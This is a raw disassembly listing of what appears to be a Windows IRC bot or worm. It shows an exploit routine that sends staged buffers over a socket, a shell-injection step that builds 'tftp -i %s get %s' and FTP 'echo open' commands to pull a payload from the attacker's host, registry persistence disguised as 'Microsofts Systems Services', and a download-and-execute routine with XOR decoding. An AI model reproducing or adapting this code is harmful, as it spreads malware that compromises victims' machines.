call sub_40D810 pop ecx retn sub_402951 endp ; =============== S U B R O U T I N E ======================================= sub_402972 proc near ; CODE XREF: .nsp0:00402FA2p var_230 = byte ptr -230h var_210 = byte ptr -210h var_1F0 = byte ptr -1F0h var_1D0 = byte ptr -1D0h var_1B0 = byte ptr -1B0h var_190 = byte ptr -190h var_170 = byte ptr -170h var_150 = byte ptr -150h var_130 = byte ptr -130h var_110 = byte ptr -110h var_F0 = byte ptr -0F0h var_D0 = byte ptr -0D0h var_B0 = byte ptr -0B0h var_90 = byte ptr -90h var_70 = byte ptr -70h var_50 = byte ptr -50h var_30 = byte ptr -30h var_20 = dword ptr -20h var_10 = byte ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 arg_136F8 = byte ptr 136FCh arg_13720 = dword ptr 13724h arg_13864 = byte ptr 13868h arg_1388C = byte ptr 13890h arg_13924 = dword ptr 13928h mov eax, 13894h call sub_40CCA0 push ebx push ebp push esi push edi xor edi, edi push edi push 1 push 2 call dword_4181B4 ; socket mov esi, eax lea eax, [esp+1Ch+arg_1388C] push eax mov word ptr [esp+20h+var_8], 2 call dword_41819C ; inet_addr push [esp+20h+arg_13924] mov [esp+24h+var_8], eax call dword_4181A0 ; htons mov [esp+24h+var_E], ax lea eax, [esp+24h+var_10] push 10h push eax push esi call dword_4181A4 ; connect test eax, eax jge short loc_4029D3 loc_4029CC: ; CODE XREF: sub_402972+275j xor eax, eax jmp loc_402DFE ; --------------------------------------------------------------------------- loc_4029D3: ; CODE XREF: sub_402972+58j lea eax, [esp+30h+var_20] push 4 push eax push 1006h push 0FFFFh push esi mov [esp+44h+var_20], 1388h call dword_4181A8 ; setsockopt lea eax, [esp+44h+arg_13864] push 1 push eax call sub_403CA3 pop ecx cmp eax, 2 pop ecx jz loc_402BEC cmp eax, 1 jz loc_402BEC mov ebx, dword_4181B8 push edi push 48h push offset aB ; "" push esi call ebx ; send mov ebp, dword_4181AC push edi mov edi, 13880h lea eax, [esp+58h+var_30] push edi push eax push esi call ebp ; recv push 0 push 58h push offset dword_41AA00 push esi call ebx ; send push 0 lea eax, [esp+78h+var_50] push edi push eax push esi call ebp ; recv push 0 push 0B0h push offset dword_41AA60 push esi call ebx ; send push 0 lea eax, [esp+98h+var_70] push edi push eax push esi call ebp ; recv push 0 push 0F6h push offset dword_41AB18 push esi call ebx ; send push 0 lea eax, [esp+0B8h+var_90] push edi push eax push esi call ebp ; recv push 0 push 3Eh push offset dword_41AC10 push esi call ebx ; send push 0 lea eax, [esp+0D8h+var_B0] push edi push eax push esi call ebp ; recv push 0 push 60h push offset dword_41AC50 push esi call ebx ; send push 0 lea eax, [esp+0F8h+var_D0] push edi push eax push esi call ebp ; recv push 0 push 96h push offset dword_41ACB8 push esi call ebx ; send push 0 lea eax, [esp+118h+var_F0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41AD50 push esi call ebx ; send push 0 lea eax, [esp+138h+var_110] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41AEB0 push esi call ebx ; send push 0 lea eax, [esp+158h+var_130] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41B010 push esi call ebx ; send push 0 lea eax, [esp+178h+var_150] push edi push eax push esi call ebp ; recv push 0 push 6Ah push offset dword_41B170 push esi call ebx ; send push 0 lea eax, [esp+198h+var_170] push edi push eax push esi call ebp ; recv test eax, eax jz loc_402DC7 cmp eax, 0FFFFFFFFh jz loc_402DC7 push 0 push 15Bh push offset dword_41AD50 push esi call ebx ; send push 0 lea eax, [esp+1B8h+var_190] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41AEB0 push esi call ebx ; send push 0 lea eax, [esp+1D8h+var_1B0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41B010 push esi call ebx ; send push 0 lea eax, [esp+1F8h+var_1D0] push edi push eax push esi call ebp ; recv push 0 push 6Ah push offset dword_41B170 push esi call ebx ; send push 1387Fh lea eax, [esp+218h+var_1F0] push 0 push eax call sub_40CC40 add esp, 0Ch loc_402BB3: ; CODE XREF: sub_402972+450j push 0 lea eax, [esp+218h+var_1F0] push edi push eax push esi call ebp ; recv test eax, eax jz loc_402DC7 cmp eax, 0FFFFFFFFh jz loc_402DC7 cmp [esp+224h+arg_13720], 8Bh push esi jnz loc_402DC8 call dword_4181B0 ; closesocket jmp loc_4029CC ; --------------------------------------------------------------------------- loc_402BEC: ; CODE XREF: sub_402972+95j ; sub_402972+9Ej mov ebx, dword_4181B8 push edi push 48h push offset unk_41B1E0 push esi call ebx ; send mov ebp, dword_4181AC push edi mov edi, 13880h lea eax, [esp+58h+var_30] push edi push eax push esi call ebp ; recv push 0 push 58h push offset dword_41B230 push esi call ebx ; send push 0 lea eax, [esp+78h+var_50] push edi push eax push esi call ebp ; recv push 0 push 0B0h push offset dword_41B290 push esi call ebx ; send push 0 lea eax, [esp+98h+var_70] push edi push eax push esi call ebp ; recv push 0 push 0F6h push offset dword_41B348 push esi call ebx ; send push 0 lea eax, [esp+0B8h+var_90] push edi push eax push esi call ebp ; recv push 0 push 66h push offset dword_41B440 push esi call ebx ; send push 0 lea eax, [esp+0D8h+var_B0] push edi push eax push esi call ebp ; recv push 0 push 3Eh push offset dword_41B4A8 push esi call ebx ; send push 0 lea eax, [esp+0F8h+var_D0] push edi push eax push esi call ebp ; recv push 0 push 60h push offset dword_41B4E8 push esi call ebx ; send push 0 lea eax, [esp+118h+var_F0] push edi push eax push esi call ebp ; recv push 0 push 96h push offset dword_41B550 push esi call ebx ; send push 0 lea eax, [esp+138h+var_110] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41B5E8 push esi call ebx ; send push 0 lea eax, [esp+158h+var_130] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41B748 push esi call ebx ; send push 0 lea eax, [esp+178h+var_150] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41B8A8 push esi call ebx ; send push 0 lea eax, [esp+198h+var_170] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41BA08 push esi call ebx ; send push 0 lea eax, [esp+1B8h+var_190] push edi push eax push esi call ebp ; recv push 0 push 0CEh push offset dword_41BB68 push esi call ebx ; send push 0 lea eax, [esp+1D8h+var_1B0] push edi push eax push esi call ebp ; recv test eax, eax jz loc_402DC7 cmp eax, 0FFFFFFFFh jz short loc_402DC7 push 0 push 15Bh push offset dword_41B5E8 push esi call ebx ; send push 0 lea eax, [esp+1F8h+var_1D0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41B748 push esi call ebx ; send push 0 lea eax, [esp+218h+var_1F0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41B8A8 push esi call ebx ; send push 0 lea eax, [esp+238h+var_210] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_41BA08 push esi call ebx ; send push 0 lea eax, [esp+258h+var_230] push edi push eax push esi call ebp ; recv push 0 push 0CEh push offset dword_41BB68 push esi call ebx ; send jmp loc_402BB3 ; --------------------------------------------------------------------------- loc_402DC7: ; CODE XREF: sub_402972+1C4j ; sub_402972+1CDj ... push esi loc_402DC8: ; CODE XREF: sub_402972+269j call dword_4181B0 ; closesocket push 7D0h call dword_418040 ; Sleep sub esp, 0BCh lea esi, [esp+268h+arg_136F8] push 2Fh pop ecx mov edi, esp rep movsd call sub_402E09 add esp, 0BCh neg eax sbb eax, eax neg eax loc_402DFE: ; CODE XREF: sub_402972+5Cj pop edi pop esi pop ebp pop ebx add esp, 13894h retn sub_402972 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E09 proc near ; CODE XREF: sub_402972+47Bp var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_40CC40 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_42D8B4 ; inet_addr push 0BEEFh mov [ebp+var_C], eax call dword_42D878 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_42D8F4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_402F41 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_42D824 ; connect cmp eax, 0FFFFFFFFh jz loc_402F41 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_42D890 ; recv mov esi, offset byte_41DF08 push esi push esi push [ebp+arg_0] call sub_4058DC pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_40D3F7 add esp, 18h push esi push esi push dword_42D334 push [ebp+arg_0] call sub_4058DC pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_40D3F7 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_40CBC0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_42D8C4 ; send cmp eax, 0FFFFFFFFh jz short loc_402F41 push 1F4h call dword_418040 ; Sleep push esi push offset dword_41BC38 lea eax, [ebp+var_1A0] push edi push eax call sub_40D3F7 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_40CBC0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_42D8C4 ; send cmp eax, 0FFFFFFFFh jnz short loc_402F45 loc_402F41: ; CODE XREF: sub_402E09+4Fj ; sub_402E09+65j ... xor eax, eax jmp short loc_402F64 ; --------------------------------------------------------------------------- loc_402F45: ; CODE XREF: sub_402E09+136j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_42D890 ; recv push ebx call dword_42D90C ; closesocket xor eax, eax inc eax loc_402F64: ; CODE XREF: sub_402E09+13Aj pop edi pop esi pop ebx leave retn sub_402E09 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h push esi xor esi, esi cmp dword ptr [ebp+0A8h], 8Bh push edi jz short loc_402F92 cmp dword ptr [ebp+0A8h], 1BDh jnz loc_403017 loc_402F92: ; CODE XREF: .nsp0:00402F80j sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_402972 mov esi, eax add esp, 0BCh test esi, esi jz short loc_403017 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset word_41A04A push eax push offset aH1dd3nS__RootS ; "h1dd3n (%s) .. Root searching %s" lea eax, [ebp-200h] push 200h push eax call sub_40D3F7 push 0 lea eax, [ebp-200h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_404555 lea eax, [ebp-200h] push eax call sub_403145 mov eax, [ebp+0B0h] add esp, 2Ch imul eax, 3Ch lea eax, dword_41A070[eax] inc dword ptr [eax] loc_403017: ; CODE XREF: .nsp0:00402F8Cj ; .nsp0:00402FB1j mov eax, esi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40301D proc near ; CODE XREF: sub_403E11+63p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_40CB5F mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_418228 call sub_40CF0C sub esi, eax mov eax, esi pop esi leave retn sub_40301D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40304D proc near ; CODE XREF: sub_4077FD+2901p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_42E688 mov edi, 0B8h loc_403061: ; CODE XREF: sub_40304D+33j cmp byte ptr [esi], 0 jz short loc_403084 push [ebp+arg_0] push esi call sub_40D860 pop ecx test eax, eax pop ecx jz short loc_403084 inc [ebp+var_4] add esi, edi cmp esi, offset dword_42F208 jl short loc_403061 jmp short loc_4030C6 ; --------------------------------------------------------------------------- loc_403084: ; CODE XREF: sub_40304D+17j ; sub_40304D+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_42E688[esi] push ebx call sub_40CC40 push 17h push [ebp+arg_0] push ebx call sub_40C720 push 9Fh lea eax, dword_42E6A0[esi] push [ebp+arg_4] push eax call sub_40C720 add esp, 24h inc dword_41E170 pop ebx loc_4030C6: ; CODE XREF: sub_40304D+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40304D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030CD proc near ; CODE XREF: sub_4077FD+3551p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aAliasList ; "-[Alias List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h xor edi, edi mov esi, offset dword_42E688 loc_4030F7: ; CODE XREF: sub_4030CD+72j cmp byte ptr [esi], 0 jz short loc_403132 lea eax, [esi+18h] push eax push esi push edi push offset aD_SS ; "%d. %s = %s" lea eax, [ebp+var_200] push 200h push eax call sub_40D3F7 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 2Ch loc_403132: ; CODE XREF: sub_4030CD+2Dj add esi, 0B8h inc edi cmp esi, offset dword_42F208 jl short loc_4030F7 pop edi pop esi leave retn sub_4030CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403145 proc near ; CODE XREF: sub_401000+BEp ; sub_4010CA+6Dp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_418068 ; GetLocalTime mov ebx, offset dword_42D2F8 mov edi, 0C0h mov esi, offset dword_4242F8 loc_403167: ; CODE XREF: sub_403145+40j cmp byte ptr [ebx], 0 jz short loc_403181 push 0BFh lea eax, [ebx+0C0h] push ebx push eax call sub_40C720 add esp, 0Ch loc_403181: ; CODE XREF: sub_403145+25j sub ebx, edi cmp ebx, esi jge short loc_403167 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_40D3F7 add esp, 28h pop edi pop esi pop ebx leave retn sub_403145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4031BC proc near ; CODE XREF: sub_40322D+4p ; sub_40551B+1Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi xor edi, edi xor esi, esi mov ebx, offset aMicrosoftsSyst ; "Microsofts Systems Services" loc_4031CC: ; CODE XREF: sub_4031BC+6Aj lea eax, [ebp+var_4] push edi push eax push edi push 0F003Fh push edi push edi push edi push off_41BD2C[esi] push dword_41BD28[esi] call dword_42D830 ; RegCreateKeyExA cmp [ebp+arg_0], edi jz short loc_40320D push [ebp+arg_0] call sub_40CBC0 pop ecx push eax push [ebp+arg_0] push 1 push edi push ebx push [ebp+var_4] call dword_42D89C ; RegSetValueExA jmp short loc_403217 ; --------------------------------------------------------------------------- loc_40320D: ; CODE XREF: sub_4031BC+33j push ebx push [ebp+var_4] call dword_42D7F0 ; RegDeleteValueA loc_403217: ; CODE XREF: sub_4031BC+4Fj push [ebp+var_4] call dword_42D854 ; RegCloseKey add esi, 8 cmp esi, 18h jb short loc_4031CC pop edi pop esi pop ebx leave retn sub_4031BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40322D proc near ; CODE XREF: sub_40322D+16j ; DATA XREF: sub_407041+36Bo arg_0 = dword ptr 4 push [esp+arg_0] call sub_4031BC pop ecx push dword_41BD24 call dword_418040 ; Sleep jmp short sub_40322D sub_40322D endp ; =============== S U B R O U T I N E ======================================= sub_403245 proc near ; CODE XREF: sub_40327E+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] or esi, 0FFFFFFFFh test edi, edi jz short loc_403277 mov ecx, 0FFh push ebx loc_40325C: ; CODE XREF: sub_403245+2Fj mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_418230[eax*4] xor esi, eax inc edx dec edi jnz short loc_40325C pop ebx loc_403277: ; CODE XREF: sub_403245+Fj mov eax, esi pop edi not eax pop esi retn sub_403245 endp ; =============== S U B R O U T I N E ======================================= sub_40327E proc near ; CODE XREF: sub_4032EE+23Fp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_40CCCF mov [esp+10h+var_10], offset dword_41BD40 push [esp+10h+arg_0] mov esi, eax call sub_40DDC8 mov edi, eax pop ecx test edi, edi pop ecx jnz short loc_4032C9 loc_4032A3: ; CODE XREF: sub_40327E+37j xor eax, eax jmp short loc_4032EA ; --------------------------------------------------------------------------- loc_4032A7: ; CODE XREF: sub_40327E+4Fj inc ebx push ebx push esi call sub_40DB08 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4032A3 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_40DA20 add esp, 10h loc_4032C9: ; CODE XREF: sub_40327E+23j test byte ptr [edi+0Ch], 10h jz short loc_4032A7 dec ebx push ebx push esi call sub_403245 push esi mov ebx, eax call sub_40CD81 push edi call sub_40D9CA add esp, 10h mov eax, ebx loc_4032EA: ; CODE XREF: sub_40327E+27j pop edi pop esi pop ebx retn sub_40327E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4032EE proc near ; DATA XREF: sub_4077FD+2213o ; sub_4077FD+25CEo var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] rep movsd xor edi, edi xor esi, esi inc edi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_42D82C call dword_42D798 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_403767 push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call dword_418084 ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_4033B5 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_41BF28 push eax call sub_40C6C3 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_403398 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 add esp, 14h loc_403398: ; CODE XREF: sub_4032EE+88j lea eax, [ebp+var_510] push eax call sub_403145 push [ebp+var_48] call sub_40C378 pop ecx pop ecx push esi call dword_418050 ; ExitThread loc_4033B5: ; CODE XREF: sub_4032EE+68j xor edi, edi call dword_41805C ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_40CCCF pop ecx mov [ebp+var_1C], eax loc_4033CF: ; CODE XREF: sub_4032EE+1A9j push 200h lea eax, [ebp+var_510] push esi push eax call sub_40CC40 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_42D7A0 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_403413 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_4037CD pop ecx pop ecx loc_403413: ; CODE XREF: sub_4032EE+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call dword_418080 ; WriteFile cmp edi, ebx jnb short loc_403451 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40343B mov eax, [ebp+arg_0] loc_40343B: ; CODE XREF: sub_4032EE+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call near ptr sub_40C820 add esp, 0Ch loc_403451: ; CODE XREF: sub_4032EE+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40345E cmp edi, [ebp+var_3C] ja short loc_40349D loc_40345E: ; CODE XREF: sub_4032EE+169j mov eax, edi shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_42F208 cmp [ebp+var_44], 1 jz short loc_403486 push offset unk_41BEF0 jmp short loc_40348B ; --------------------------------------------------------------------------- loc_403486: ; CODE XREF: sub_4032EE+18Fj push offset unk_41BEBC loc_40348B: ; CODE XREF: sub_4032EE+196j push eax call sub_40C6C3 add esp, 10h cmp [ebp+arg_0], esi ja loc_4033CF loc_40349D: ; CODE XREF: sub_4032EE+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_4034F2 cmp edi, [ebp+var_3C] jz short loc_4034F2 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_41BE84 push eax call sub_40C6C3 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 lea eax, [ebp+var_510] push eax call sub_403145 add esp, 28h loc_4034F2: ; CODE XREF: sub_4032EE+1B9j ; sub_4032EE+1BEj call dword_41805C ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_41807C ; CloseHandle push [ebp+var_1C] call sub_40CD81 cmp [ebp+var_38], esi pop ecx jz short loc_40357C lea eax, [ebp+var_148] push eax call sub_40327E cmp eax, [ebp+var_38] pop ecx jz short loc_40357C push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_41BE58 push eax call sub_40C6C3 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 lea eax, [ebp+var_510] push eax call sub_403145 add esp, 28h loc_40357C: ; CODE XREF: sub_4032EE+236j ; sub_4032EE+248j cmp [ebp+var_14], esi jz loc_4037B4 cmp [ebp+var_44], 1 push ecx lea eax, [ebp+var_148] push ecx jz loc_403677 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_418630 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_418630 fstp [esp+590h+var_590] push offset unk_41BE1C push eax call sub_40C6C3 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_4035F7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 add esp, 14h loc_4035F7: ; CODE XREF: sub_4032EE+2E7j lea eax, [ebp+var_510] push eax call sub_403145 cmp [ebp+var_40], 1 pop ecx jnz loc_4037B4 push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_42D7F8 cmp [ebp+var_30], esi jnz loc_4037B4 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_41BDF4 push eax call sub_40C6C3 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 lea eax, [ebp+var_510] push eax call sub_403145 add esp, 24h jmp loc_4037B4 ; --------------------------------------------------------------------------- loc_403677: ; CODE XREF: sub_4032EE+2A3j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_418630 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_418630 fstp [esp+590h+var_590] push offset unk_41BDB0 push eax call sub_40C6C3 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_4036D7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 add esp, 14h loc_4036D7: ; CODE XREF: sub_4032EE+3C7j lea eax, [ebp+var_510] push eax call sub_403145 push 10h lea eax, [ebp+var_10] push esi push eax call sub_40CC40 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_40CC40 add esp, 1Ch lea eax, [ebp+var_10] mov [ebp+var_310], edi xor edi, edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi inc edi push eax push esi mov [ebp+var_304], offset byte_4242F0 mov [ebp+var_2E4], edi mov [ebp+var_2E0], si call dword_418078 ; CreateProcessA cmp eax, edi jnz short loc_403759 call dword_42D7E4 ; WSACleanup call sub_40551B push esi call dword_418074 ; ExitProcess loc_403759: ; CODE XREF: sub_4032EE+457j lea eax, [ebp+var_148] push eax push offset unk_41BD74 jmp short loc_403773 ; --------------------------------------------------------------------------- loc_403767: ; CODE XREF: sub_4032EE+45j lea eax, [ebp+var_248] push eax push offset unk_41BD44 loc_403773: ; CODE XREF: sub_4032EE+477j lea eax, [ebp+var_510] push eax call sub_40C6C3 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4037A7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_404555 add esp, 14h loc_4037A7: ; CODE XREF: sub_4032EE+497j lea eax, [ebp+var_510] push eax call sub_403145 pop ecx loc_4037B4: ; CODE XREF: sub_4032EE+291j ; sub_4032EE+31Aj ... push [ebp+var_18] call dword_42D8A8 ; InternetCloseHandle push [ebp+var_48] call sub_40C378 pop ecx push esi call dword_418050 ; ExitThread sub_4032EE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4037CD proc near ; CODE XREF: sub_4032EE+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_4037E9 loc_4037D9: ; CODE XREF: sub_4037CD+1Aj mov dl, byte_41DE50 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4037D9 locret_4037E9: ; CODE XREF: sub_4037CD+Aj retn sub_4037CD endp ; =============== S U B R O U T I N E ======================================= sub_4037EA proc near ; CODE XREF: sub_4077FD+17DEp ; sub_4077FD+1944p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40DE14 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_4037EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403804 proc near ; CODE XREF: sub_403913+66p ; sub_403913+97p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_42D2F8 push 0 push edi call sub_40CC40 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_403829: ; CODE XREF: sub_403804+5Bj ; sub_403804+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_40DED0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_40DE60 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_403867 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_403829 mov byte ptr [esi], 2Ch inc esi jmp short loc_403829 ; --------------------------------------------------------------------------- loc_403867: ; CODE XREF: sub_403804+4Bj mov eax, edi jmp short loc_403870 ; --------------------------------------------------------------------------- loc_40386B: ; CODE XREF: sub_403804+72j mov cl, [esi] mov [eax], cl inc eax loc_403870: ; CODE XREF: sub_403804+65j dec esi lea ecx, [ebp+var_38] cmp esi, ecx jnb short loc_40386B and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_403804 endp ; =============== S U B R O U T I N 